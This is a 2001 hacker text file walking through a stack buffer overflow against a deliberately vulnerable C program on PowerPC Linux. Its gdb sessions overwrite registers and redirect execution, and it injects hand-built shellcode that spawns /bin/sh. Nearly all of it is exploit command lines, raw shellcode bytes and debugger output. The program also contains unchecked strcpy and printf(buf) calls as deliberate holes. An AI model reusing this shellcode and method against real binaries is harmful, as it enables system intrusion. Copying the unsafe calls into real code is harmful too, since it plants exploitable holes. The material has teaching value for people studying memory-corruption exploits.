STATION ID - 7047/3.12 9x Datakit Network FOR OFFICIAL USE ONLY This is a 9x system, restricted to authorized persons and for official 9x business only. Anyone using this system, network or data is subject to being monitored at any time for system administration and for identifying unauthorized users or system misuse. Anyone using this system expressly consents to such monitoring and is advised that any evidence of criminal activity revealed through such monitoring may be provided to law enforcement for prosecution. Filename: 9x_vuln.txt Date released: 12-23-01 Author: ./ --------------------------------------------------------------------- Classic overflow with a function you will never run. main(int *argc, char **argv) { char buf[200]; strcpy(buf, argv[1]); printf(buf); printf("\n"); } abuseme() { printf("running ls\n"); system("ls"); } Compile static [root@ibook overflow]# cat make cc -o vuln -static -ggdb vuln.c [root@ibook overflow]# ./make Run it with normal arguments (gdb) run hi Starting program: /root/overflow/./vuln hi hi Program exited with code 01. Run it and piss it off... we write to exactly len to eip - 1 in this case (gdb) run `perl -e 'print "A" x 223'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/overflow/./vuln `perl -e 'print "A" x 223'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414100 in ?? () (gdb) i r r0 0x41414100 1094795520 r1 0x7ffff760 2147481440 r2 0xd3fec000 -738279424 r3 0x1 1 r4 0x30000000 805306368 r5 0xe0 224 r6 0x7ffff460 2147480672 r7 0x0 0 r8 0x1004b055 268742741 r9 0x1004b055 268742741 r10 0x0 0 r11 0x7ffff760 2147481440 r12 0x2882286d 679618669 r13 0x10071348 268899144 r14 0x0 0 r15 0x0 0 r16 0x20822404 545399812 r17 0x10150000 269811712 r18 0x0 0 r19 0x0 0 r20 0x1005e060 268820576 r21 0xffffffff -1 r22 0xffffffff -1 r23 0x100c61d0 269246928 r24 0x100c5c10 269245456 r25 0x10070000 268894208 r26 0x7ffff7b0 2147481520 r27 0x7ffff7b0 2147481520 r28 0x1004b040 268742720 r29 0x2 2 r30 0x7ffff7a4 2147481508 r31 0x41414141 1094795585 pc 0x41414100 1094795520 ps 0x4000d032 1073795122 cr 0x28822868 679618664 lr 0x41414100 1094795520 ctr 0x0 0 xer 0x20000000 536870912 (gdb) i r r0 r31 pc lr r0 0x41414141 1094795585 r31 0x41414141 1094795585 pc 0x41414100 1094795584 lr 0x41400141 1094795585 the registers we seem to control Just to proove we can lets jump to the function abuseme.. which we should never run. (gdb) break abuseme Breakpoint 1 at 0x10000300: file vuln.c, line 10. starting point for a place to jump to (gdb) run `perl -e 'print "A" x 212'``perl -e 'print "B" x 8'``echo -e "\x10\x00\x03\x00"` The program being debugged has been started already. Starting program: /root/overflow/./vuln `perl -e 'print "A" x 212'``perl -e 'print "B" x 8'``echo -e "\x10\x00\x03\x00"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB Program received signal SIGSEGV, Segmentation fault. _IO_wdo_write (fp=0x1, data=0x2, to_do=4093640759) at wfileops.c:79 79 in wfileops.c (gdb) bt #0 _IO_wdo_write (fp=0x1, data=0x2, to_do=4093640759) at wfileops.c:79 #1 0x10030080 in _IO_wfile_overflow (f=0x42424242, wch=2147481508) at wfileops.c:356 Cannot access memory at address 0x42424246 Now lets put some shellcode on the stack instead... dont forget nops and return addy (gdb) run `perl -e 'print "\x69\x69\x69\x69" x 39'``echo -e "\x7c\xa5\x2a\x78\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x01\x30\x38\x7f\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01f\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01\x7f\xc0\x4e\x70\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\x00"``echo -e "\x41\x41\x41\x41"` The program being debugged has been started already. Starting program: /root/overflow/./vuln `perl -e 'print "\x69\x69\x69\x69" x 39'``echo -e "\x7c\xa5\x2a\x78\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x01\x30\x38\x7f\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01f\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01\x7f\xc0\x4e\x70\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\x00"``echo -e "\x41\x41\x41\x41"` iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii|*x@;08a8;8;NpD/bin/shAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414140 in ?? () Now that the shellcode is on the stack lets see where it lives... (gdb) x/10s $r1 0x7ffff760: "n/shAAAA" 0x7ffff769: "" 0x7ffff76a: "" 0x7ffff76b: "" 0x7ffff76c: "" 0x7ffff76d: "" 0x7ffff76e: "" 0x7ffff76f: "" 0x7ffff770: "" 0x7ffff771: "" (gdb) x/10s $r1-216 0x7ffff688: 'i' , "|*x@\202\177\002;\00108\177\220a\2208\201;\026\037\2208\201"... 0x7ffff750: ";\026\001\177NpD\002/bin/shAAAA" 0x7ffff769: "" 0x7ffff76a: "" 0x7ffff76b: "" 0x7ffff76c: "" 0x7ffff76d: "" 0x7ffff76e: "" 0x7ffff76f: "" 0x7ffff770: "" (gdb) x/100bx $r1-217 0x7ffff687: 0x00 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff68f: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff697: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff69f: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6a7: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6af: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6b7: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6bf: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6c7: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6cf: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6d7: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6df: 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x69 0x7ffff6e7: 0x69 0x69 0x69 0x69 0x7ffff688 is where our nops start (gdb) run `perl -e 'print "\x69\x69\x69\x69" x 39'``echo -e "\x7c\xa5\x2a\x78\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x01\x30\x38\x7f\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01f\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01\x7f\xc0\x4e\x70\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\x00"``echo -e "\x7f\xff\xf6\x88"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/overflow/./vuln `perl -e 'print "\x69\x69\x69\x69" x 39'``echo -e "\x7c\xa5\x2a\x78\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x01\x30\x38\x7f\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01f\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01\x7f\xc0\x4e\x70\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\x00"``echo -e "\x7f\xff\xf6\x88"` iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii|*x@;08a8;8;NpD/bin/sh Program received signal SIGILL, Illegal instruction. 0x7ffff688 in ?? () That no worky so we try again ... (gdb) run `perl -e 'print "\x69\x69\x69\x69" x 38'``echo -e "\x7c\xa5\x2a\x78\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x01\x30\x38\x7f\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01f\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01\x7f\xc0\x4e\x70\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\xff"``echo -e "\xff\xff\xff"``echo -e "\x7f\xff\xf6\x90"` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/overflow/./vuln `perl -e 'print "\x69\x69\x69\x69" x 38'``echo -e "\x7c\xa5\x2a\x78\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x01\x30\x38\x7f\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01f\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01\x7f\xc0\x4e\x70\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\xff"``echo -e "\xff\xff\xff"``echo -e "\x7f\xff\xf6\x90"` iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii|*x@;08a8;8;NpD/bin/sh Program received signal SIGILL, Illegal instruction. 0x7ffff744 in ?? () (gdb) x/70x $r1-220 0x7ffff684: 0x00000000 0x69696969 0x69696969 0x69696969 0x7ffff694: 0x69696969 0x69696969 0x69696969 0x69696969 0x7ffff6a4: 0x69696969 0x69696969 0x69696969 0x69696969 0x7ffff6b4: 0x69696969 0x69696969 0x69696969 0x69696969 0x7ffff6c4: 0x69696969 0x69696969 0x69696969 0x69696969 0x7ffff6d4: 0x69696969 0x69696969 0x69696969 0x69696969 0x7ffff6e4: 0x69696969 0x69696969 0x69696969 0x69696969 0x7ffff6f4: 0x69696969 0x69696969 0x69696969 0x69696969 0x7ffff704: 0x69696969 0x69696969 0x69696969 0x69696969 0x7ffff714: 0x69696969 0x69696969 0x69696969 0x7ca52a78 0x7ffff724: 0x4082fffd 0x7fe802a6 0x3bff0130 0x387ffef4 0x7ffff734: 0x9061fff8 0x90a1fffc 0x3881fff8 0x3bc0161f 0x7ffff744: 0xf890a1ff 0xfc3881ff 0xf83bc016 0x017fc04e 0x7ffff754: 0x7044ffff 0x7ffff74c 0x00000000 0xffffffff 0x7ffff764: 0x7ffff690 0x00000000 0x00000000 0x00000000 (gdb) x/50x 0x7ffff714+12 0x7ffff720: 0x7ca52a78 0x4082fffd 0x7fe802a6 0x3bff0130 0x7ffff730: 0x387ffef4 0x9061fff8 0x90a1fffc 0x3881fff8 0x7ffff740: 0x3bc0161f 0xf890a1ff 0xfc3881ff 0xf83bc016 0x7ffff750: 0x017fc04e 0x7044ffff 0x7ffff74c 0x00000000 0x7ffff760: 0xffffffff 0x7ffff690 0x00000000 0x00000000 This one is exactly where our shellcode starts... strace -i ./vuln `perl -e 'print "\x69" x 155'``echo -e "\x7c\xa5\x2a\x78\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x01\x30\x38\x7f\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01f\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc0\x16\x01\x7f\xc0\x4e\x70\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\x5a"``echo -e "\x7f\xff\xf6\x90"` now we hit our shellcode ... execve("/bin/sh", ["/bin/sh"], [/* 46 vars */]) = 0 sh-2.05$